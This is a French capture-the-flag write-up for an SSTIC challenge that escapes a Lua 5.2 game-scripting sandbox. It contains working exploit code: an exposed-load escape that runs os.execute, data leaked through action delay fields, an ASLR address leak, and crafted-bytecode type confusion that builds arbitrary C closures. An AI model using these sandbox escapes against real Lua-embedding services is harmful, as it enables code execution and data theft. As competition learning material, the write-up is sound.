Introduction

Erratum: The right version for step2 bridge.py after step0 was intented to be bridge_expected.py. If you intend to get the points for the quality ranking, you must provide a version of your exploit that exploits this version of the bridge. The bridge_expected.py is available by providing step2:[flag for step2] basic authentication.
— Site du SSTIC
27/04/25

Et effectivement cette épreuve est malheureusement trivialement bypassable. Je présenterai d’abord ma solution pour la version du challenge, avant de proposer une solution pour la version souhaitée.

Analyse de surface

L’arborescence du site web fournit un ensemble de fichiers permettant de créer un docker équivalent à celui du challenge (utilisant une version de lua 5.2.4) et de créer un service prenant un fichier LUA en entrée.

Ce fichier LUA, dont un exemple est fourni, permet de scripter les coups à venir dans un jeu non explicité.

En passant sur le client lourd, je me retrouve effectivement devant un ensemble de triangles, changeants parfois de couleurs. Ça parle de paris, des barres bougent, je ne comprends strictement rien à rien. Et pas de mention de lua. Dans les commandes du bot non plus. En changeant, par hasard, la résolution de la sandbox dans laquelle s’exécute le client lourd, apparait un nouveau champs texte, permettant d’envoyer des commandes dans le chat ! Et de fournir un LUA.

Tentative de sandboxing

Le fichier bridge.py est chargé de créer l’environnement d’exécution du fichier LUA fourni en implémentant une sandbox limitant explicitement les fonctions appelables par notre fichier.

Malheureusement on trouve :

    local sandbox = {}

    sandbox.print = print
    sandbox.type = type
    sandbox.pairs = pairs
    sandbox.load_state = load
    sandbox.get_state = get_state
    sandbox.coroutine = coroutine
    sandbox.tonumber = tonumber
    sandbox.tostring = tostring

La fonction load en LUA, permet de charger un nouveau fragment de code (l’équivalent de eval en python). La sandbox ne sera pas appliquée à ce fragment…​ Il est donc tout simplement possible de fournir en entrée :

function atEachTick (fullStateInstance)
    -- process fullState according to your needs
    -- and compute your resulting actions (can be empty array)
    -- Action can either be a dict with AddToID, or a dict with RemoveFromID

    yourActions = {}

    exec = load_state("os.execute('ls / > /tmp-rw/out'); local f = io.open('/tmp-rw/out'); local result = f:read('*a');f:close(); return result")

    local str = exec()
    print(str)

    return yourActions  -- all the emitted actions are scheduled as your player ID (SelfPlayerID)
end

Ce qui exécute et affiche la commande souhaitée. Le plus complexe ensuite est de réussir à exfiltrer nos données. La seule sortie disponible étant le tableau d’action, je choisis d’utiliser le champs delay pour sortir un octet de donnée. Comme j’ai choisi, pour m’assurer de l’ordre des données en cas de problème, de sortir une action par tuile, je ne peux faire afficher que 19 actions toutes les 10s, je fais donc une boucle, utilisant une globale idx pour parcourir ma sortie :

if idx == nil then
    idx = 0
end

local m_idx = 20

if m_idx + idx > string.len(str) then
    m_idx = string.len(str) - idx
end

if idx <= string.len(str) then
    for i=1,m_idx do
        yourActions[i] = {
            Delay = str:byte(i+idx),
            Action = {RemoveFromID =i, TokenNumber = 1 }
        }
    end
end

idx = idx+19

return yourActions

Un script utilitaire parse ensuite le log du jeu pour en extraire les données. Je finis par obtenir le listing suivant :

   1 root  root  4096 May  6 16:48 .
drwxr-xr-x   1 root  root  4096 May  6 16:48 ..
-rwxr-xr-x   1 root  root     0 May  6 16:48 .dockerenv
drwxr-xr-x   1 root  root  409pp
bin
boot
chall
d64
media
mnt
opt
persistent-ro
proc
root
run
sbin
shared-lib
srv
sys
thiswillforceyoutorce
tmp
dontguessthis
dontguessthis
dontguessthis
dontguessthis
onemore
onemore
onemore
hmmmm
hmmmm
hmmmm
flag.txt
flag.txt
flag.txt
flag.txt
SSTIC{b871c80ae6baaSSTIC{b871c80ae6baaSSTIC{b871c80ae6baa5fb806f7241109e9d39SSTIC{b871c80ae6baaSSTIC{b871c80ae6baaSSTIC{b871c80ae6baaSSTIC{b871c80ae6baa9f8641f2a63c7f69}
SSTIC{b871c80ae6baa9f8641f2a63c7f69}
SSTIC{b871c80ae6baaSSTIC{b871c80ae6baa5fb806f7241109e9d399f8641f2a63c7f69}

C’est rudimentaire, mais on a le flag.

bridge_expected

ASLR

Première problématique commune dans ce type de recherche, la randomisation de l’espace mémoire. Dans notre cas c’est relativement simple, lua offrant un leak par design. Le code suivant permet de retrouver l’adresse base du module lua:

local function _objAddr(o)
	return tonumber(tostring(o):match('^%a+: 0x(%x+)$'),16)
end


function atEachTick (fullStateInstance)
    -- process fullState according to your needs
    -- and compute your resulting actions (can be empty array)
    -- Action can either be a dict with AddToID, or a dict with RemoveFromID
    yourActions = {}

    local offset = 0x25950
    local addr = _objAddr(print) - 0x25950

    yourActions[1] = {
        Delay = addr,
        Action = {RemoveFromID = 19, TokenNumber = 10}
    }

    return yourActions  -- all the emitted actions are scheduled as your player ID (SelfPlayerID)
end

L’offset, 0x25950 correspondant à la fonction lua_print dans lua52.cpython-311-x86_64-linux-gnu.so. Ce qui nous donne la sortie suivante :

[+] Sending lua automation code
[+] Lua automation success: Successfully replaced lua code execution for 758904568469324269 (1396317483), will be triggered each 10s
You scheduled removal of 10 tokens on tile 19 (delay 140537049210880)

140537049210880 ou (7FD154E56000) correspond à l’adresse de lua52.cpython-311-x86_64-linux-gnu.so en mémoire.

arbitrary call

En analysant la nouvelle fonction load_state :

    function load_state_in_closure(load_func)
        return function(code)
            local func, err = load_func(code, "sandbox", "bt", sandbox)
            if err then
                return nil, err
            end
            return func
        end
    end
    sandbox.load_state = load_state_in_closure(load)

On peut constater que la fonction load est maintenant appelée en y appliquant la sandbox (supprimant le bypass trivial), la fonction load interne permettant, cette fois, de charger du bytecode lua ( argument "bt"). Hors :

Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter.
— manuel LUA

Et effectivement, on trouve le fragment de code suivant:

-- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
local as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)
as_num = as_num:gsub("\x21", "\x17", 1) -- OP_FORPREP -> OP_JMP
as_num = assert(load(as_num))

-- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
local function addr_of(x) return as_num(x) * 2^1000 * 2^74 end

-- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
local function ub8(n)
  local t = {}
  for i = 1, 8 do
    local b = n % 256
    t[i] = string.char(b)
    n = (n - b) / 256
  end
  return table.concat(t)
end

-- void upval_assign(double func, TValue x) { reinterpret_cast<LClosure*>(func)->upvals[0]->v[0] = x; }
local upval_assign = string.dump(function(...)
  local magic
  (function(func, x)
    (function(func)
      magic = func
    end)(func)
    magic = x
  end)(...)
end)
upval_assign = upval_assign:gsub("(magic\x00\x01\x00\x00\x00\x01)\x00", "%1\x01", 1)
upval_assign = assert(load(upval_assign))

-- CClosure* make_CClosure(lua_CFunction f, TValue up) { CClosure* co = eval("coroutine.wrap(function()end)"); co->f = f; co->upvalue[0] = up; return co; }
local function make_CClosure(f, up)
  local co = coroutine.wrap(function()end)

  local offsetof_CClosure_f = 24
  local offsetof_CClosure_upvalue0 = 32
  local sizeof_TString = 24
  local offsetof_UpVal_v = 16
  local offsetof_Proto_k = 16
  local offsetof_LClosure_proto = 24
  local upval1 = ub8(addr_of(co) + offsetof_CClosure_f)
  local func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v)
  local upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0)
  local func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v)
  upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74)
  upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up)

  return co
end

local ll_loadlib = make_CClosure(0xDEADBEEF) -- Obtaining the address of ll_loadlib is left as an exercise to the reader.
ll_loadlib() -- Should crash at ldo.c's `n = (*f)(L);  /* do the actual call */`, with f==0xDEADBEEF

La fonction string.dump n’est pas incluse dans la sandbox, je l’ajoute, puis ajoute une fonction permettant de dumper les chaines as_num et upval_assign, ce qui permettra de remplacer la génération automatique du bytecode lua par des chaines fixes. Au passage je remplace les appels à load par load_state :

    -- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
    as_num_bc = '\x1b\x4c\x75\x61\x52\x00\x01\x04\x08\x04\x08\x00\x19\x93\x0d\x0a\x1a\x0a\x1b\x00\x00\x00\x1b\x00\x00\x00\x00\x01\x04\x07\x00\x00\x00\x26\x00\x00\x01\x66\x00\x00\x01\x81\x00\x00\x00\x17\x00\x00\x80\xdf\x00\x00\x01\x20\x40\xff\x7f\x1f\x00\x80\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x07\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x04\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\x66\x6f\x72\x20\x69\x6e\x64\x65\x78\x29\x00\x03\x00\x00\x00\x06\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\x66\x6f\x72\x20\x6c\x69\x6d\x69\x74\x29\x00\x03\x00\x00\x00\x06\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x28\x66\x6f\x72\x20\x73\x74\x65\x70\x29\x00\x03\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x6e\x00\x04\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00'
    as_num = load_state(as_num_bc)

    -- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
    local function addr_of(x)
      addr =  as_num(x) * 2^1000 * 2^74
      print(addr)
      return addr
    end

    -- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
    local function ub8(n)
      local t = {}
      for i = 1, 8 do
        local b = n % 256
        t[i] = string.char(b)
        n = (n - b) / 256
      end
      return table.concat(t)
    end

    -- void upval_assign(double func, TValue x) { reinterpret_cast<LClosure*>(func)->upvals[0]->v[0] = x; }
    upval_assign_bc = '\x1b\x4c\x75\x61\x52\x00\x01\x04\x08\x04\x08\x00\x19\x93\x0d\x0a\x1a\x0a\x35\x00\x00\x00\x3d\x00\x00\x00\x00\x01\x03\x05\x00\x00\x00\x04\x00\x00\x00\x65\x00\x00\x00\xa6\x00\x00\x00\x5d\x40\x00\x00\x1f\x00\x80\x00\x00\x00\x00\x00\x01\x00\x00\x00\x37\x00\x00\x00\x3c\x00\x00\x00\x02\x00\x04\x05\x00\x00\x00\xa5\x00\x00\x00\xc0\x00\x00\x00\x9d\x40\x00\x01\x49\x00\x00\x00\x1f\x00\x80\x00\x00\x00\x00\x00\x01\x00\x00\x00\x38\x00\x00\x00\x3a\x00\x00\x00\x01\x00\x02\x02\x00\x00\x00\x09\x00\x00\x00\x1f\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x02\x00\x00\x00\x39\x00\x00\x00\x3a\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x66\x75\x6e\x63\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x6d\x61\x67\x69\x63\x00\x01\x00\x00\x00\x01\x01\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x05\x00\x00\x00\x3a\x00\x00\x00\x3a\x00\x00\x00\x38\x00\x00\x00\x3b\x00\x00\x00\x3c\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x66\x75\x6e\x63\x00\x00\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x6d\x61\x67\x69\x63\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x05\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x00\x00\x3c\x00\x00\x00\x37\x00\x00\x00\x3d\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x6d\x61\x67\x69\x63\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00'
    upval_assign = load_state(upval_assign_bc)

    -- CClosure* make_CClosure(lua_CFunction f, TValue up) { CClosure* co = eval("coroutine.wrap(function()end)"); co->f = f; co->upvalue[0] = up; return co; }
    local function make_CClosure(f, up)
      local co = coroutine.wrap(function()end)

      local offsetof_CClosure_f = 24
      local offsetof_CClosure_upvalue0 = 32
      local sizeof_TString = 24
      local offsetof_UpVal_v = 16
      local offsetof_Proto_k = 16
      local offsetof_LClosure_proto = 24
      local upval1 = ub8(addr_of(co) + offsetof_CClosure_f)
      local func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v)
      local upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0)
      local func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v)
      upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74)
      upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up)

      return co
    end

    local ll_loadlib = make_CClosure(0xDEADBEEF) -- Obtaining the address of ll_loadlib is left as an exercise to the reader.
    ll_loadlib() -- Should crash at ldo.c's `n = (*f)(L);  /* do the actual call */`, with f==0xDEADBEEF

et on retourne à bypass.lua

On a donc une primitive permettant, entre autres, d’appeler n’importe quelle fonction lua. Et comme j’ai justement un poc utilisant os.execute et io.open je n’ai qu’à transformer les dernières lignes en :

    local offset_print = 153936
    local offset_loadlib = 0x30250
    local offset_execute = 0x38860
    local offset_open    = 0x2E3E0
    local addr = _objAddr(print) - offset_print

    local os_exec = make_CClosure(addr + offset_execute)
    local io_open = make_CClosure(addr + offset_open)

    os_exec('ls > /tmp/out')
    local f = io_open('/tmp/out');
    local result = f:read('*a');
    f:close();
    print(result)

Ce qui permet de récupérer, via la même méthode que pour la version originale, le contenu de /thiswillforceyoutorce/dontguessthis/onemore/hmmmm/flag.txt